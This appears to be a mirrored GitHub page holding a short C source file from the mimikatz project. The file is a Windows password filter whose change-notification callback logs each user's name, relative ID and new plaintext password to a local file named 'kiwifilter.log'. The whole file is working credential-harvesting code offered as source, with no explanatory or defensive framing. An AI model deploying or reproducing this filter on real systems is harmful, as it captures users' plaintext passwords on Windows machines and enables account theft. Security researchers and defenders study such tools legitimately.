mirror of
https://github.com/gentilkiwi/mimikatz
synced 2024-12-12 00:56:34 +00:00
27 lines
718 B
C
27 lines
718 B
C
/* Benjamin DELPY `gentilkiwi`
|
|
http://blog.gentilkiwi.com
|
|
benjamin@gentilkiwi.com
|
|
Licence : https://creativecommons.org/licenses/by/4.0/
|
|
*/
|
|
#include "kfilt.h"
|
|
|
|
BOOLEAN NTAPI kfilt_InitializeChangeNotify(void)
|
|
{
|
|
return TRUE;
|
|
}
|
|
|
|
NTSTATUS NTAPI kfilt_PasswordChangeNotify(PUNICODE_STRING UserName, ULONG RelativeId, PUNICODE_STRING NewPassword)
|
|
{
|
|
FILE * kfilt_logfile;;
|
|
#pragma warning(push)
|
|
#pragma warning(disable:4996)
|
|
if(kfilt_logfile = _wfopen(L"kiwifilter.log", L"a"))
|
|
#pragma warning(pop)
|
|
{
|
|
klog(kfilt_logfile, L"[%08x] %wZ\t", RelativeId, UserName);
|
|
klog_password(kfilt_logfile, NewPassword);
|
|
klog(kfilt_logfile, L"\n");
|
|
fclose(kfilt_logfile);
|
|
}
|
|
return STATUS_SUCCESS;
|
|
} |